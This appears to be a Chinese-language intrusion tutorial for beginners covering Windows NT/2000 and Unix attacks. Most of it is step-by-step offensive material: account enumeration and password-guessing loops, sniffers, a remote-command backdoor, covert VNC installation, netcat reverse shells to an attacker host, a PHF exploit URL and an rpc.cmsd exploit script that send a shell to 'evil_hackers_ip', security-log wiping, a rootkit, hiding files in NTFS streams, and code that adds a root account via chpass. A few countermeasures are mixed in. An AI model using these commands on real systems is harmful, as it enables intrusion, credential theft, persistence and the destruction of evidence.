手揣网教程/杀毒教程/内容

战术攻防思维撷粹

杀毒教程2024-07-12 阅读
[摘要]战术攻防思维撷粹 引子: 网络以独特的“思维模式”蔓延了当今整个人类文明的精粹。数字经济、数字生活乃至数字生命渐渐扩充网络方式,无处不在的展示着社会的进阶发展和生命意识的高度集成进化。然而,在这片深...

战术攻防思维撷粹
引子:
网络以独特的“思维模式”蔓延了当今整个人类文明的精粹。数字经济、数字生活乃至数字生命渐渐扩充网络方式,无处不在的展示着社会的进阶发展和生命意识的高度集成进化。然而,在这片深度憧憬的虚拟国度里也同样存在集权与垄断的欲望,自由和不羁的反叛,于是在这迷幻世界里也同样存在着荷马史诗般伟大的英雄传说和正邪争霸的传奇故事。
伟大的战役总离不开智慧的较量,攻防的战术思维杂糅着高科技的网络时代战场,我们的周围将不在有硝烟,暗藏在电子信号后面的将是兵不血刃的搏斗,胜利者获取的是电子烟雾般的光环,而失败者却得到了更多的经验。每当我获得这些并不为多数人所知的珍贵礼物,会为人类智慧所散发的特殊魅力而拍案叫绝。于是,我有了写出真知的义务,也因此有了这篇战术攻防思维的诞生。我的脑海里回荡着圣经里这样一句:“你应当了解真相,真相会使你自由”。
本篇所讲述入侵/防御方法是一些基础而又有趣的实验,其目的是面向初识黑客世界的好奇者,因此难度适中,既有可操作性。
*NT/W2K,痛并快乐着的世界
似乎微软继续存在着,视窗继续发挥着GUI的美妙,那么NT/W2K入侵的话题就永远没有终点。很多时候,许多人问我入侵这些机械似系统的HOWTO。惯用的端口扫描、空连接、密码猜解各种形形色色的攻击工具似乎满足了这些初级的要求。但围绕如何获取帐号的攻击中更精湛、更有趣味的应该是基于原理下的试探和侵蚀。
对于NT/W2K大部分攻击中,获得用户名常常是个焦点。假如获得用户名后,那么大约70%的精力将花费在密码的破解上,而由于某些系统管理员的懒散行为,密码设置的极度简单(试想密码就是用户名本身的情况),那么我们不费什么力气就拿到开启系统大门的钥匙。 【139/445端口问题】
众所周知,139/445端口的开放使得我们可以查询NetBIOS名字表,这些表中不仅存放网络共享资源列表,它也藏匿着重要的用户信息。
Razor小组集成了NetBIOS查询特征到一个综合工具:enum。可以从razor.bindview.com/tools/desc/enum_readme.html查询到有关enum的使用说明和下载包。Enum能自动建立空会话,攻击者可以得到可以得到很有用的帐户信息和密码策略设置。
C:\toolkit>enum -U -d -P -L -c 192.168.1.151
server: 192.168.1.151
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
……
names:
netbios: Labmachine
domain: Workshop
……
getting user list (pass 1, index 0)... success, got 9.
Administrator ()
attributes:
cifctm ()
attributes:
downsoft attributes:
ftpuser attributes:
Guest ()
attributes: disabled no_passwd
……
以上结果,显示了系统的某些危险漏洞,诸如密码无过期设置,无最短密码设置等,而且也罗列了系统的用户名录。除了枚举用户名外,enum提供远程猜测密码的功能,使用本地字典文件进行一个用户的密码猜:
C:\toolkit>enum -D -u <username> -f <yourdic>
+应对策略
防止用户信息出现NetBIOS名字表,可以通过控制面板停止系统上Alerter和Messenger服务。 作为视窗系统的缔造者- -微软提供NT/W2K资源工具箱(简称为NTRK或者W2RK)容纳了多种强力的管理工具,从Perl脚本语言的实现、各种通用Unix的远程管理工具和网络管理工具,给我们带来了有益的维护检测手段。与此同时,这样的工具具有着双面性,黑帽们(Blackhat)利用这些工具,同样可以轻松进行肆意的攻击。
使用NTRK提供的dumpsec、usestat、showgrps、local和global等实用工具,我们可以得到丰富的用户信息。这里必须讲解下dumpsec,因为它可以得到用户及组、NT系统策略和用户权限。以下例子显示了dumpsec获取远程计算机用户信息:
C:\toolkit>dumpsec /computer==\\192.168.1.1 /rpt=usersonly /saveas=tsv /outfile=c:\users.txt
C:\type c:\users.txt
27/2/2003 4:30 PM – Somarsoft DumpSec - \\192.168.1.1
UserName FullName Comment
Hg he gao manager
Lb li bin account
Mjt ma jitao assistant
Papa pu ying saler
……
(注:Somarsoft推出了DumpSec的GUI版本,功能更为强大。)
+应对策略
阻塞空会话,限制注册表RestrictAnonymous键值(NT设REG_DWORD 1,W2K设置为2),使用NTRK/W2RK的实用工具reg.exe修改如下(以NT为例):
C:\toolkit>reg add HKLM\SYSTEM\CurrentControlet\Control\LSA /v RestrictAnonymous /t REG_DWORD /d 1 /f
/v:注册表键值
/t: 数据类型
/d: 注册表键值数据
/f: 当要添加的注册表值存在时进行覆盖 帐户名探测工具中,最为杰出的莫过于Evgenii Rudnyi的sid2user和user2side。它们既可通过用户名查询系统SID,也同从SID查询用户。SID即安全表示符,是创建帐户时生成的唯一标识符。Windows NT 使用 SID,独立于用户名之外来跟踪帐户。(关于SID的结构论述,可以参阅Mark Russinovich于1999年2月的文http://www.winnetmag.com/Articles/Index.cfm?ArticleID=4795)。使用user2sid 得到其中一域用户SID的话,就可以利用SID号查询相应的用户名。这里,我对一台W2K机器进行了查询实验:
C:\toolkit>user2sid \\192.168.1.2 “testaccount” S-1-5-21-1960408961-789336058-1343024091-509 Number of subauthorities is 5
Domain is LABDOMAIN
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
实验中,我们看到机器的SID格式表达式为:S-R-X -Y(1)-Y(2)-……-Y(N)。其中S表示该字符串是SID,R是SID的版本号,对于2000来说,这里为1,然后X是标志符的颁发机构 (identifier authority)。对于2000内的帐户,颁发机构就是NT,值是5。然后Y表示一系列的子颁发机构,前面几项是标志域的,最后一个Y(N)标志着域内的帐户和组,我们也称之为相关标识符(RID)。也就是说,帐户的区别在于RID,这里的RID值为509。而Administrator用户的RID总为500,Guest的RID总是501。根据这些知识和已得到的SID,就可以查询出Administrator帐号名(即使管理员帐号名被修改):
C:\toolkit>sid2user \\192.168.1.2 5 21 1960408961 789336058 1343024091 500 Name is sysadmin
Domain is LABDOMAIN
Type of SID is SidTypeUser
从上面实验,我们可以看到系统管理员的帐户名竟然是sysadmin! 为了节省手工输入的困惑,利用这样一个脚本能提高帐户转储的效率:
C:\>for /L %I IN (1000,1,1050) DO sid2user \\192.168.1.2 5 21 1960408961 789336058 1343024091 %I >> users.txt
(注:
NT/W2K域中创建的第一个帐号所赋的RID为1000。
关于for的用法可在CMD模式下输入for /?查询。
50次循环转储RID 1000-1050用户名到users.txt文件。
) +应对策略
只要139端口可访问,sid2user和user2sid就可以搜索出所有合法的用户帐户,这种让人心惊的偷窃方式,迫使我们不得不禁用TCP 139和445端口的访问。 值得一提的是W2K引入了目录服务的概念,于是可以使用LDAP协议通过389端口遍历目录树中所存在的用户和用户组。W2RK工具包中活动目录管理工具ldp.exe可以轻松实现这种功能。下面是ldp运行的一个截图: 通过这种方式,不仅可以浏览全部用户帐户(cn=Users),还可以查询用户更多的信息,比如SID、GUID、帐户名和密码设置类型等重要信息。因此必须对动态目录的访问权限设置限制。 【蚕食密码】
得到合法帐户,下个目标便进入到远程密码猜测的角逐中。这种游戏规则的成功应用通常是建立在系统管理的马虎和疏忽的密码管理机制之中。习惯的密码设置总是不经意的简单思维,下面的两则实验则可以让我们清楚看到自己的密码设置竟然如此脆弱,只需要简单几个循环,堡垒般的系统顷刻崩溃。
我们参照黑客界高频组合的用户/密码对。创建一个wordlist
[file:wordlist.txt]
password username
password Administrator
admin Administrator
administrator Administrator
secret Administrator
……
使用for循环进行口令Administrator口令猜解:
C:\toolkit>for /F "tokens=1,2*" %i in (wordlist.txt) do net use \\target\IPC$%i /u:%j
此脚本会分析wordlist.txt中的每一行,通过tokens=1,2*将每行中的第一个符号%i(密码)和第二个符号%j(用户名)传递给 for 程序体;程序把变量带入net use命令中。通过高频组合文件(www.securityparadigm.com/defaultpw.htm),可以意外的发现,网络中居然有大量系统的管理密码居然如此马虎了事。因此,短短几分钟内,目标已经成为囊中之物。
当然,更为高级的密码猜测,需要借助有威慑力的黑客字典文件,可以http://www.defcon.tv/Crackers/wordlists/去下载适当的密码列表文件,来实现稍微高级一些的密码远程猜测。这里采用NetBIOS Auditing Tool(NAT,NetBIOS审核工具)进行密码破解。NAT连接目标系统后,根据预定义的用户清单和密码清单尝试密码猜解:
C:\toolkit>for /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt 192.168.1.%i >> output.txt
对一个C类子网进行迭代扫描,将结果存放在output.txt文本文件中。以上两个简单的winshell完美的实现了远程密码猜解的任务,而比起华丽而界面复杂的GUI密码猜解程序,它们小巧而可爱,以致深受Blackhat欢迎。 对于简单方式的密码猜解,我们只需要对系统进行正确配置就可抑制。以下介绍几种经典方法:
1、启用Passfilt。它附带与NT的SP2中,而W2K则是缺省安装。它要求系统系统密码长度至少六位,不可以含有用户名和姓名的任何部分,并且至少含有大小写字母、阿拉伯数字以及非字母数字(诸如:@、#、&等)中至少三种混合类型。W2K中,使用secpol.msc命令,编辑“安全设置”*“帐户策略”*“密码策略”*“密码必须符合复杂性要求”。
2、Passprop的增值。这个工具是NTRK提供的工具,它不仅能启用密码复杂设置属性,而且还能锁闭Administrator帐号。这样可以防止Administrator的SID的无限猜解。使用方式如下:
C:\toolkit>passprop /complex /adminlockout #同时设置密码复杂性和锁闭管理帐号
C:\toolkit>passprop /noadminlockout #解锁管理帐号
3、户管理器中使用策略*审核记录失败的登录尝试。监测事件号为529/539(登录失败和帐户锁闭)的安全日志容量,如果出现的频率交多,可以确定系统承受着自动攻击。也可使用Somarsoft的免费工具Dumpel抽取系统失败的登录事件:
C:\toolkit>dumpel –e 529 –f faillog.txt –l security –m Security –t
并设置此脚本为计划任务,定期检测。 例外,值得一提的是,著名的L0pht黑客小组提出了另种新颖的攻击方式:在用户登录服务器时对会话进行嗅探,从而得到密码。其强大有利的L0ptcrack(习惯简称为LC)可以捕获SMB包的信息,刨出加密过的密码信息,在反向破解这些加密密码。
对于使用挑战回应的身份认证,LC也显示了其天才工具的能力。认证时,客户端接受服务器发送的随机挑战字串,之后使用客户自身的密码散列进行加密,反馈服务器;服务器用其所拥有的用户散列对随即挑战本地加密,比较两者值是否相同来确认用户是否授权。LC通过分组捕获用户散列加密挑战字串。把这些已知的挑战和随机字串进行加密,从而逆向推解用户自身的密码散列。
对于交换式网络,L0pht居然使用含有文件://yourserver/message.html的电子邮件来获得收信的密码散列。当点击这个链接,用户散列就被LC所捕获。
当然,这群自负家伙居然制造了嗅探VPN连接的工具,正是令人惊悸。有关LC工具最新动态和密码经典破解原理的文章都可以www.l0pht.com上查询。
【权利制度下扩充】
**秘密嗅探
获得系统控制权利后,奴役其作为情报搜集的间谍是个不错的想法。这可以为我们入侵网络而准备充足的情报信息。于是sniffer理所应当的成为了情报员的角色。由于这些搜集工作必须是默默无声的,因此在远程机器安装绚丽多彩和结构庞大的sniffer程序是无法容忍的。而以下的两款工具给我们带来无比优秀的命令行方式的嗅探程序。
BUTTsniffer是用BO2000的作者DilDog编写的,其组件是用BUTTsniffer.exe以及BUTTsniffer.dll组成,两者可以重命名。由于是动态装载,只需要上载到目标系统,通过命令开关选项就可执行嗅探任务,因而深的Blackhat们的喜爱。下面是使用实例:
C:\toolbox>buttsniff -d D:\result.txt p
WinNT: Version 4.0 Build 1381
Service Pack: Service Pack 6
Press Ctrl-C to stop logging... Close requested C:\toolbox>type D:\result.txt
. . .
Source IP: 192.168.7.36 Target IP: 192.168.7.200
TCP Lenght: 13 Source Port: 3530 Target Port 21 Seq: 001A145E Ack: 6D968BEC
Flags: PA Window: 8676 TCP ChkSum: 41325 UrgPtr: 0
00000000: 55 53 45 52 20 67 65 6F 72 67 65 0D 0A USER ernie..
. . .
Source IP: 192.168.7.36 Target IP: 192.168.7.200
TCP Lenght: 17 Source Port: 3530 Target Port 21 Seq: 001A146B Ack: 6D968C0F
Flags: PA Window: 8676 TCP ChkSum: 41325 UrgPtr: 0
00000000: 50 41 53 53 20 67 65 6F 72 67 65 30 30 31 3F 0D PASS bert.
00000010: 0A .
这里,我们捕获了从IP地址为为192.168.7.36到192.168.7.200的FTP认证会话,并得到密码为bert。
(注:BUTTsniffer使用时间过长会导致目标系统崩溃,请慎用之。)
而另一款fsniff则可以从Foundstone公司站点下载,其类似于BUTTsniffer,可以动态装载捕获驱动程序,并且还可以从分组中过滤认证信息,使用也非常方便,有兴趣的读者可以下载回来进行测试,这里就不赘述。其他大多数强大的嗅探程序则需要基于WinPcap的嗅探驱动程序,或者诸如专业的snifferpro自带嗅探驱动功能,虽然功能齐全,但容易被发现,于是具有动态装载的嗅探器就成为了Blackhat最喜爱种植的种子。
通过这种寂静的方式,入侵者们完全可以悠然的喝着咖啡,等待着收获时节的到来。针对这种情况,可以采用SSH、SSL、PGP等加密通信,但需要小心,因为技术的进步,让这些加密通道里也暗藏了盗窃的可能! **远程作业
得到了帐户、种植了Sniffer,但是固执的Blackhat并不因此而禁止他们的控制欲望。后门的威胁也就随之而来。这里我所安装的仅仅是一个简单的远程命令行工具remote.exe,它可以使用/C参数来启动客户模式,而使用/S来启动服务器模式,因此在远程机器使用AT指令设置了启动时间。假如服务器没有启动调度服务,那么使用sc.exe使其启动,剩下的工作就让调度为我们工作,步骤简叙如下:
1.拷贝remote.exe和sc.exe到目标机器,方法很多,诸如使用net use等方法(记住,此时你应该具有权限帐号)。
2.启动调度服务
C:\toolbox>sc \\target_machine start schedule
3.检查目标系统的时间,方便对时
C:\toolbox>net time \\target_machine
Current time at \\target_machine is {date} {time} {PM/AM}
……
4.使用AT指令在目标上启动remote.exe服务
C:\toolbox>at \\target_machine {time} ““remote /s cmd passwd””
Added a new job with job ID=13
5.测试服务
C:\toolbox>remote /c {target_ip_addr} passwd
**************************************
********** remote ****************
********** Client ****************
**************************************
Connected.. Microsft(R) Windows NT(TM)
(C) Copyright 1985-1998 Micrsoft Corp. C:\>dir winnt\system32\config\sam
驱动器 C 中的卷没有标签。
卷的序列号是 3DCC-5BF7 C:\winnt\system32\config 的目录 2003-02-24 22:41 9,865 sam
1 个文件 9,865 字节
0 个目录 2,509,623,296 可用字节
C:>@q #退出远程系统
费力,敲入那么多命令,相信懒惰的攻击天才们决少数也这么固执的,于是建立于懒惰思维的图形控制想法也就变的不足为奇了。 **winvnc的劫持
虽然网络里诸如pcanywhere、netbus等有名的图形控制工具相当具有杀伤力,不过我这里要特别介绍VNC这个容易安装,且具有免费和自由气质的控制工具。但是,安装这个小巧精致的装置,仍然需要稍微复杂些的特技。
首先,需要拷贝VNC服务器到目标机器(这里为:winvnc.exe,vnchooks.dll,othread2.dll三个文件),但是我们必须通过设置VNC服务器才能使其正常运行,一般是通过GUI的方式进行配置,但是我们在远程启动VNC启动,必然在目标机器上弹出一个GUI对话框(没有哪个Blackhat会愿意看到如此结果吧!)。好的,我们可以这样设想:其目标机器的设置文件把最终的配置写入注册表中,那么只要我们的机器与目标机器是同一操作系统的化,本地的注册表键值VNC结构一定与目标机器相差无几。
根据这个聪明的想法,于是我们有了新的思路:在本地安装并配置VNC服务器,并使用NTRK赐予我们的精良武器regdmp.exe转储本地VNC注册表键值并使用regini.exe把所需要的项目直接添加到远程注册表中,这样就能够启动服务器,以下是步骤简概:
C:\ >regdmp HKCU\Software\orl\winvnc3 >vnc.ini
#导出注册表VNC服务器设置键值
C:\>regini –m {target_machine} vnc.ini
#把注册表键值添加入远程机器注册表 #登录远程机器,安装并启动VNC服务
C:\>winvnc –install
C:\>net start winvnc 通过vncviewer客户端就可以静静的以图形界面方式观察远程机器的任何动作,这类幽雅的管理方法很受管理管理员的称赞,同时也受到Blackhat的青睐。不过,VNC的进程却是无法隐藏的,因此只需要小心系统内部进程就可以发现其藏匿的踪影。 **防火墙下的暗道
前面所探讨的控制权利似乎都基于了网络管理不设防行为而布置的策略,然而,现实世界的网络中必然不能缺少防火墙之类的堡垒的。于是前面的思维模式似乎变的到处碰壁,无计可施。
总所周知,防火墙总是放行一些“行为端正”的数据通过自身,源于这个要点,我们实现了架设防火墙下暗道的思路:在防火墙内部尽力得到一部受“污染”的机器,在其上安装端口重定向软件并监听端口,将监听获得的原始分组转发到特定的第二目标。为了便于理解,下面我们就以著名的nc.exe做个端口重定向的小实验:
首先,在攻击者机器<intrude.org>分别使用两个命令行终端,记住是不同的两个终端窗口。其中一个窗口监听80端口,另一个端口监测25端口。
C:\toolbox>nc –nvv –l –p 80
C:\toolbox>nc –nvv –l –p 25
其次,在防火墙内部的机器使用shell回铲的办法(这里假设受污染机器<dirty.net>上已经有nc.exe并且安装远程执行命令服务):
C:\toolbox>nc intrude.com 80 cmd.exe nc intrude.org 25
一般,防火墙总会允许http和smtp服务的数据进出,这样,上面的命令就可以从受污染的机器铲回一个远程命令shell来控制防火墙内部机器(在入侵者的机器中,在监听80端口的窗口输入命令,其结果就可以在监听25端口的窗口显示出来),甚至渗透整个内部网络。这种暗道的正确说法也被称为回铲(shovel)。
这种令初学者头晕的思维实在模糊,一个简单易用的端口重定向工具rinetd,其使用非常简单,只需要创建一个转发配置文件就可以启动。然而,为节省篇幅,下面讲述将是基于重定向原理而产生的精品fpipe。
fpipe最绝妙的地方在于它实现了隧道原理。通常防火墙只允许必要的服务端口通过,比如源端口53就可以通过防火墙为内网客户端解析域名。而fpipe可以指定53此类源端口,透过防火墙建立连接;一旦防火墙后客户连接此类伪造端口,就可以建立一个隧道传输telnet所必须的命令,也即端口重定向到23端口,回送一个telnet连接,而防火墙因为其源端口是“正常”端口,于是整个玲珑精致的攻击就如此发生:
C:\>fpipe -v -l 53 –s 53 -r 23 192.168.1.10FPipe v2.04 - TCP port redirector.Copyright 2000 (c) by Foundstone, Inchttp://www.foundstone.comConnection ;accepted from 192.168.1.10 port 3794Attemption to connect to 192.168.1.10 port 23Pipe connected: In: 192.168.1.10:3749 - -> 192.168.1.4:53 Out: 192.168.1.4:53 - -> 192.168.1.10 23 ……
从以上实验,可以清楚的看见fpipe精致的端口重定向的特点,并看出回送的telnet的连接。这样的“合法渗透”让人不寒而栗。 **终极损毁
Unix世界流传着Rootkit的邪恶事迹,通过对内核的篡改/编译,这些Rootkit傀儡帮助Blackhat在字符世界为所欲为。然而,当Windows世界也新生了这样的鬼怪,于是视窗世界也变的混乱模糊了。Hoglund制作的rootkit可以执行注册表键的隐藏及exe重定向,从而可以对正常程序注射木马而不改变其内容。通过对NT/W2K核心程序添补,篡夺系统调用,从而隐藏进程、注册表或文件,也可重定向程序调用到木马进程中。结果这种恶意的行为使我们对所有程序的执行完全失去了信心。
其相关软件可www.megasecurity.org/Tools/nt_rootkit_all.html或www.rookit.com查询(本文所附带的toolbox也包括这个软件)。它包括_root_.sys和deploy.exe。运行deploy.exe并启动net start _root_就启动rootkit。于是,注册表中以_root_的键值将在regedit.exe/regedt32.exe的视图中隐藏。对于目前的4.0版本添加了键盘击键记录的功能;系统中任何以_root_开头的进程也将隐藏。
至于端口重定向的问题,我们将进行一个实验来展示其精妙之处。首先,启动rootkit,拷贝一个可执行文件,比如:calc.exe到C:\test目录下面。接着,重命名cmd.exe为_root_cmd.exe并拷贝到C:\test下面。这时候rootkit程序会自动识辨_root_开头的程序,并重定向其到calc.exe,因此当运行_root_cmd.exe会出现计算器的界面(通过这种方式启动木马程序容易之极)。之后,关闭rootkit服务,使用Ultraedit比较cmd.exe和_root_cmd.exe,居然两者内容一致。这种令人可畏的做法让我十分敬佩Hoglund的思维模式。 有必要提到的一点变是,在系统中控制安装操作这些“精品”软件动作一般会由系统记录在案,而系统管理员每日任务之一也就是查看这些珍贵的日志文件。Lauritsen经过辛苦的分析复杂的NT日志语法,编写了elsave工具能适应这种抹除痕迹要求。下面句法将清除远程机器上安全日志的结果(需要得到目标机器合适的特权):
C:\toolbox>elsave –s \\remote_machine -l “Security” –C **流的伪装
最后,在探讨关于NTFS提供文件内分化多个信息流(streaming)的支持。这种特性使得我们可以在获得系统权限的主机上藏污纳垢。下面的例子则是简单把nc.exe藏匿和运行的流应用(工具取自POSIX中CP工具,下载地址<http://home.socal.rr.com/err0neous/POSIX/>;;):
C:\toolbox\posix>cp nc.exe 1357298.tmp:nc.exe
对于分流后的文件,前前端(1357298.tmp)仍能执行其作用,而后端(nc.exe)则需要使用:C:\>start 1357298.tmp:nc.exe来执行。 【小结提要】
通过前面几小节的探讨和研究,稍微浅尝黑客世界里精湛技艺,也稍微掌握了一些系统入侵的基本思路和行为模式。对于上叙已经的攻击方式,当然已经有了相应的对策,为节约时间,这里列举四个小对策,其他资料可到google查询:
1、限定注册表的远程访问
regedt32-->安全菜单 权限==>关闭 NT Everyone读写权限和完全控制权限。
2、监测可疑端口
netstat -an find "12345" http://www.foundstone.com ;的fport工具也能实现如此功能!)
3、指纹检查技术(fingerprint),防止程序或文件被恶意修改,这里使用MD技术:
D:\>md5 d:\test.txt>d:\test.md5
D:\>cat d:\test.md5
efd3907b037774d831596f2c1b14a d:\\test.txt
D:\>md5sum --check d:\test.md5 4、关闭W2K文件和打印共享属性
网络和拨号连接*“高级”菜单*高级设置*取消“Microsoft网络的文件与打印机共享”。 至此,我们完成了NT/W2K的漫游旅程。歇息一下,我们进入字符与命令的神奇世界。
*Unix/Linux,命令与脚本的天堂
Unix的历史很悠久,因此也有了许多动人的传奇故事。Eric所维护的Jargon File中,记载着这个世界很多围绕它而诞生的英雄史诗;而作为新星的Linux则在计算机的发展取到了推动作用,GNU的原则,让我们终于没有了技术界线和垄断。这里充满和平和自由,于是这里的天地将更赋有期待和激情。
【溢出初步】
关于溢出的这个问题,我记得曾经在1999-2001年的时候狂热的风行好些时候,那时候狂人们似乎有用不完的力气,于是溢出攻击的工具齐全了,溢出攻击的手段也逐渐偏向简单化。
以下是堆栈溢出原理的简单程序示例(本代码摘自
http://www.w00w00.org/files/heaptut/heaptut.txt):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h> #define BUFSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */ int main()
{
u_long diff;
char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); diff = (u_long)buf2 - (u_long)buf1;
printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0'; printf("before overflow: buf2 = %s\n", buf2);
memset(buf1, 'B', (u_int)(diff + OVERSIZE));
printf("after overflow: buf2 = %s\n", buf2); return 0;
} 编译执行此代码:
[root /w00w00/heap/examples/basic]# ./heap1 8
buf1 = 0x804e000, buf2 = 0x804eff0, diff = 0xff0 bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA
这里缓存1的溢出边界填充了缓存2,而由于缓存2的堆栈空间仍属于合法内存空间,因此程序不会崩溃。
缓冲区溢出条件发生在进程试图往缓冲区放入比分配的空间还要多的数据的时候,这可以导致段越界异常发生。攻击者可以精心设计,发送将溢出缓冲区并执行特定的命令代码。而程序发生溢出,可以改变函数的返回地址,以允许攻击者改变程序的执行流。而由于程序本身是以特权运行,于是执行的恶意代码也具有的特权模式,从而实现攻击。
产生这段执行程序代码根据系统的硬件体系结构不同而大相径庭,不过我们仍然可以借助一些自动工具产生称之为shellcode的特殊代码,比如本toolbox所包括的hellkit就是其中一个。
关于如何利用缓冲区溢出攻击的实现细节和详尽制作工序可以参阅“飞客杂志”第49期14小节(P49-14)和2个黑客论坛FAQ版区的基础讲座。
【知识应用组合攻击】
**PHF漏洞实验
著名的PHF漏洞相信很多人都应该知道。该漏洞是Apache服务器的一个CGI漏洞。该漏洞利用输入验证的不严格性,可以在输入字串中含有执行命令,从而逸出到可使用的shell。比如:/cig-bin/phf?Qalias=x%a/bin/cat%20/etc/passwd就可以查看服务器的帐户密码文件。
前面所叙述的shell回铲方式结合phf我们就可以完成一次简单的攻击:
<终端一>[attacker]#nc -l -n -v -p 80listening on [any] 80<终端二>[attacker]#nc -l -n -v -p 25listening on [any] 25<受害机器>#制造一个反向Telnet从而回铲shell的脚本/bin/telnet evil_hackers_ip 80 /bin/sh /bin/telnet evil_hackers_ip 25#其对应PHF语法如下(%a代表回车,%20代表空格)http://www.victim.com/cgi-bin/Qalias=x%a/bin/telnet%20evil_hackers_ip%2080%20 %20/bin/sh%20 %20/bin/telnet%20evil_hackers_ip%2025
当然,我们还可以结合xterm终端工具和X服务器原理,而制造如下请求:
/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20evil_hackers_IP:0.0,这个请求将会在攻击者的显示屏幕上弹出一个xterm,提供了受害者的shell命令界面给予操作。 **邮件的几个问题
曾经流行一时的sendmail 4.1漏洞就在于通过管道方式,攻击者可以直接以特权方式执行命令(命令行顺序输入如下指令):
Telnet smtpwww.victim.com 25
helo
mail from:
rcpt to: bounce
data
.
mail from: bin
rcpt to: sed '1,/^$/d' sh
data
然而这个漏洞如今几乎无处可以查询。而另一个精致的渗透方式则利用了邮件转发功能,用户主目录下的.forward把指定邮件转移到另一帐号或邮件到达时候运行某个程序,下面实验需要对受害者的主目录具有写权限:
[Labmachine]$ cat > .forward
"cp /bin/sh /home/test/sh ; chmod 755 /home/test/sh"
[Ctrl+D]
#上载此文件到用户的主目录下,并执行下面程序
[Labmachine]$ echo hello chump mail test@targetsystem.com
执行后生成受害用户的一个shell,不过由于上载.forward需要对用户目录有写权限,因此这种方法似乎有些绕圈子的味道。
当然,关于sendmail的众多漏洞是数以百计的,这是由于sendmail的结构体系过于庞大,功能过于复杂多变而引起的。采用安全性更高的qmail似乎能解决sendmail的安全性问题。 **RPC挖掘
RPC的好处凡是使用过UNIX的人都知道,这是一种允许在一台计算机上运行的某个程序无缝地在另一个远程系统上执行代码的机制。而且由于许多厂家的支持,多数主流的Unix服务器仍采用了RPC标准。但由于RPC设计时候,很少考虑安全特性,因此由此引入的隐患也明灭可睹。基于CDE桌面系统的rpc.ttdbserverd和rpc.cmsd漏洞溢出;与NFS有关的rpc.statd和rpc.mountd的利用都是经典的例子(这类文章可以在google中搜索得到),下面的例子采用了CERT的ca-99-08-cmsd的文章:
#####cmsd.sh###########
#!/bin/sh
if [$# -lt 4]; then
echo "Rpc.cmsd buffer overflow for Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip grep 100068 = ture - you win!"
echo "Don't forget to xhost+ the target system"
echo " "
echo "Usage: $0 target_hostname target_ip < O/S version (1-7)> your_ip"
exit 1
fi
echo "Executing exploit..."
cmsd -h $1 -c "/usr/openwin/bin/xterm -display $4:0.0 &" $3 $2
#####cmsd.sh end##########
[Labmachine]#cmsd.sh {system_name} 192.168.1.11 2 192.168.1.103
rpc.cmsd漏洞是针对特定的操作系统而量身定制的,本例程中适合于Solaris2.5、2.6、2.7操作系统。溢出成功后,则回送攻击者一个xterm的shell命令,其权限是受害主机的root!这种典型应用的确让人吓了一跳。
RPC带来便利的同时也引入安全问题,因此现代的UNIX系统中引入了密钥方式的Secure RPC,这种认证机制的引入相信可以修补RPC不健全的机制。
**X window小试
专业的Unix管理员一般很排斥使用GUI界面方式来管理系统。但是对于初学者来说,使用图形管理界面能逐渐适应从“鼠标到键盘”的管理思维方式的转变。X window系统则提供了多个程序以图形方式显示的丰富特性。但由于X windows是基于网络机制设计的,一旦用户掌握X windows就可以捕获键盘击键、关闭窗口、启动各种恶意命令,这种无法无天的闹剧真是令人头痛。当然,可以xhost命令进行认证控制。但是有些管理员为求方便,使用xhost +命令,于是允许了未加认证的访问。
通过xscan可以扫描出具有xhost +设置的X服务器。pendleto于96年写的一个小工具,经久不衰呀!扫描网络中开放Xwindow并且允许连接的主机,并自动开始记录该Xwindow系统的所有键盘击键。
[Labmachine]$xscan Xmachine
Scanning hostname Xmachine…
Connection to Xmachine (192.168.1.65) on port 6000
Connected.
Host quake is running X.
Starting keyboard logging of host Xmachine:0.0 to file KEYLOG.Xmachine:0.0… #其键盘记录文件为KEYLOG.Xmachine,记录非常详细:
[Labmachine]$tail –f KEYLOG.Xmachine:0.0
su
root[Shift_R]sys #使用xlswins确定目标系统窗口的16进制ID号
[Labmachine]#xlswins –display Xmachine:0.0
……
0x1000385 (netscape)
……
#从大量信息可以看见有netscape的浏览器在运行,使用xwatchwin查看ID,就#可以任意监测目标窗口的操作活动。
[Labmachine]#xwatchwin Xmachine –w 0x1000385 如果限制xhost -,那么仍然可以绕过认证,使用xwd来截获荧屏的瞬间图像。对于X window的使用应该注意在防火墙封堵6000-6063端口,使用SSH等方式加密X 会话,并使用XDM-AUTHORIZATION-1等安全认证机制防止偷窃行为的发生。 【文件描述字符的利用】
文件描述字符(file descriptor)是文件属性的字符象征,0、1和2分别表示了标准输入、标准输出和标准错误输出。当打开或创建文件的时候,内核为调用程序分配一个文件描述字,可用于读写该文件。按照这个原理,如果更改写某个关键的系统文件,我们可以使用文件描述进行写入操作,从而得到root权限。
OpenBSD 2.3版本中存在这样的漏洞,用于修改密码的chpass执行时允许普通用户使用自选的编辑器编辑临时文件,于是可以设置编辑器为vi,从而逸出一个shell,这样就可以在/etc/master.passwd中创建一个uid为零的帐号,以此获得root访问权限:
[BigHole]$export EDITOR=vi
[BigHole]$/usr/bin/chpass
#编辑用户数据库
Shell:/bin/sh
Full Name:star amethyst
Location:
Office Phone:
Home Phone:
#使用vi编辑器逸出shell
":!sh"
#执行由Mark Zielinski提供的chpass漏洞挖掘代码,添加staramethyst帐号
[BigHole]$nohup ./chpass &
[1] 21553
$ sending output to nohup.out
[1] + Done nohup ./chpass
[BigHole]$exit
Press any key to continue [: to enter more ex commands]:
/etc/pw.F26119: 6 lines,117 characters.
#至此,完成权限提升,得到root权限
[BigHole]$su staramethyst
[BigHole]#id
uid=0(owned) gid=0(wheel) groups=0(wheel)
(附chpass代码:
int main()
{
FILE *f;
int count;
f=fdopen (FDTOUSE, "a");
for (count = 0; count !=30000; count++)
fprintf(f, "owned::0:0::0:0:staramethyst,,,:tmp:/bin/bash\n");
ext(0);
}
)
